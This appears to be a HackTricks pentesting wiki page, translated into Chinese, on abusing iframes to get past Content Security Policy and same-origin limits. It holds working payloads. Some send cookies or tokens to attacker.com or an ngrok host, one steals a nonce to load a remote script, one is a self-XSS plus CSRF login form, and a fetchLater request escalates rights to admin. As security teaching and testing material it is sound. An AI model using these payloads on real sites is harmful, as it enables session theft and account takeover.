255 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Iframes in XSS, CSP and SOP
{{#include ../../banners/hacktricks-training.md}}
## Iframes in XSS
有3种方式来指示iframe页面的内容
- 通过`src`指示一个URL该URL可以是跨源或同源
- 通过`src`使用`data:`协议指示内容
- 通过`srcdoc`指示内容
**访问父变量和子变量**
```html
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
```
```html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
```
如果您通过 HTTP 服务器(如 `python3 -m http.server`)访问之前的 HTML您会注意到所有脚本都会被执行因为没有 CSP 阻止它)。**父级将无法访问任何 iframe 内部的 `secret` 变量****只有 if2 和 if3被视为同站可以访问原始窗口中的 secret**。\
请注意 if4 被认为具有 `null` 来源。
### 带 CSP 的 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
> [!TIP]
> 请注意,在以下绕过中,响应的 iframed 页面不包含任何阻止 JS 执行的 CSP 头。
`script-src``self` 值将不允许使用 `data:` 协议或 `srcdoc` 属性执行 JS 代码。\
然而,即使 CSP 的 `none` 值也将允许执行在 `src` 属性中放置 URL完整或仅路径的 iframes。\
因此,可以通过以下方式绕过页面的 CSP
```html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
注意到**之前的 CSP 仅允许执行内联脚本**。\
然而,**只有 `if1``if2` 脚本将被执行,但只有 `if1` 能够访问父级秘密**。
![](<../../images/image (372).png>)
因此,如果您可以将 JS 文件上传到服务器并通过 iframe 加载,即使 `script-src 'none'`,也有可能**绕过 CSP**。这也**可能通过滥用同站 JSONP 端点来实现**。
您可以通过以下场景进行测试,即使在 `script-src 'none'` 的情况下也会窃取 cookie。只需运行应用程序并使用浏览器访问它
```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
#### 新的2023-2025CSP 绕过技术与 iframes
研究社区继续发现创造性的方法来利用 iframes 以击败限制性政策。以下是过去几年发布的最显著的技术:
* **悬挂标记 / 命名 iframe 数据外泄 (PortSwigger 2023)** 当一个应用程序反射 HTML 但强 CSP 阻止脚本执行时,您仍然可以通过注入一个 *悬挂* `<iframe name>` 属性来泄露敏感令牌。一旦部分标记被解析,运行在不同源的攻击者脚本导航框架到 `about:blank` 并读取 `window.name`,此时包含了直到下一个引号字符的所有内容(例如 CSRF 令牌)。由于没有 JavaScript 在受害者上下文中运行,攻击通常会避开 `script-src 'none'`。一个最小的 PoC 是:
```html
<!-- 在敏感 <script> 之前的注入点 -->
<iframe name="//attacker.com/?"> <!-- 属性故意留空 -->
````
```javascript
// attacker.com 框架
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → 泄露的值
```
* **通过同源 iframe 窃取 nonce (2024)** CSP nonce 并未从 DOM 中移除;它们仅在 DevTools 中被隐藏。如果攻击者可以注入一个 *同源* iframe例如通过上传 HTML 到网站),子框架可以简单地查询 `document.querySelector('[nonce]').nonce` 并创建新的 `<script nonce>` 节点以满足政策,从而在 `strict-dynamic` 的情况下实现完全的 JavaScript 执行。以下小工具将标记注入升级为 XSS
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **表单操作劫持 (PortSwigger 2024)** 一个省略 `form-action` 指令的页面可以通过注入的 iframe 或内联 HTML 将其登录表单 *重新定向*,使密码管理器自动填充并提交凭据到外部域,即使存在 `script-src 'none'`。始终用 `form-action` 补充 `default-src`
**防御注意事项(快速检查清单)**
1. 始终发送 *所有* 控制次级上下文的 CSP 指令(`form-action``frame-src``child-src``object-src` 等)。
2. 不要依赖 nonce 是秘密的——使用 `strict-dynamic` **并且** 消除注入点。
3. 当您必须嵌入不受信任的文档时,**非常小心** 使用 `sandbox="allow-scripts allow-same-origin"`(如果您只需要脚本执行隔离,则不使用 `allow-same-origin`)。
4. 考虑深度防御 COOP+COEP 部署;新的 `<iframe credentialless>` 属性(§ 下文)让您可以在不破坏第三方嵌入的情况下做到这一点。
### 在野外发现的其他有效载荷 <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
### Iframe sandbox
iframe中的内容可以通过使用`sandbox`属性受到额外限制。默认情况下,此属性不被应用,这意味着没有限制。
当使用时,`sandbox`属性施加了几个限制:
- 内容被视为来自一个独特的源。
- 任何提交表单的尝试都被阻止。
- 禁止执行脚本。
- 禁用对某些API的访问。
- 防止链接与其他浏览上下文交互。
- 不允许通过`<embed>``<object>``<applet>`或类似标签使用插件。
- 防止内容自身导航到其顶级浏览上下文。
- 自动触发的功能,如视频播放或表单控件的自动聚焦,被阻止。
提示:现代浏览器支持细粒度标志,如`allow-scripts``allow-same-origin``allow-top-navigation-by-user-activation``allow-downloads-without-user-activation`等。将它们组合以仅授予嵌入应用所需的最低能力。
属性的值可以留空(`sandbox=""`以应用上述所有限制。或者可以设置为一个以空格分隔的特定值列表以使iframe免于某些限制。
```html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Credentialless iframes
正如在 [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) 中所解释的iframe 中的 `credentialless` 标志用于在不发送凭据的请求的情况下加载页面,同时保持 iframe 中加载页面的同源策略 (SOP)。
**Chrome 110 (2023年2月) 起,该功能默认启用**,并且该规范正在以 *anonymous iframe* 的名称在各个浏览器中标准化。MDN 将其描述为:“一种机制,用于在全新的、短暂的存储分区中加载第三方 iframe以便不与真实来源共享任何 cookies、localStorage 或 IndexedDB”。对攻击者和防御者的影响
* 不同的 credentialless iframes 中的脚本 **仍然共享相同的顶级来源**,并可以通过 DOM 自由交互,使多 iframe 自我 XSS 攻击成为可能(见下面的 PoC
* 由于网络是 **去凭据化的**iframe 内的任何请求实际上表现为未认证会话 CSRF 保护的端点通常会失败,但通过 DOM 泄露的公共页面仍在范围内。
* 从 credentialless iframe 生成的弹出窗口获得隐式的 `rel="noopener"`,破坏了一些 OAuth 流程。
```javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
- 利用示例Self-XSS + CSRF
在此攻击中,攻击者准备了一个包含两个 iframe 的恶意网页:
- 一个加载受害者页面的 iframe带有 `credentialless` 标志,并且有一个触发 XSS 的 CSRF想象一下用户的用户名中有 Self-XSS
```html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
- 另一个 iframe 实际上已经登录用户(没有 `credentialless` 标志)。
然后,从 XSS 中可以访问另一个 iframe因为它们具有相同的 SOP并通过执行来窃取 cookie
```javascript
alert(window.top[1].document.cookie);
```
### fetchLater 攻击
正如[这篇文章](https://blog.slonser.info/posts/make-self-xss-great-again/)中所述API `fetchLater` 允许配置请求在稍后执行(在一定时间后)。因此,这可以被滥用,例如,在攻击者的会话中登录受害者(使用 Self-XSS设置一个 `fetchLater` 请求(例如更改当前用户的密码)并从攻击者的会话中注销。然后,受害者在自己的会话中登录,`fetchLater` 请求将被执行,将受害者的密码更改为攻击者设置的密码。
这样,即使受害者的 URL 不能在 iframe 中加载(由于 CSP 或其他限制),攻击者仍然可以在受害者的会话中执行请求。
```javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
```
## Iframes in SOP
检查以下页面:
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## References
* [PortSwigger Research Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}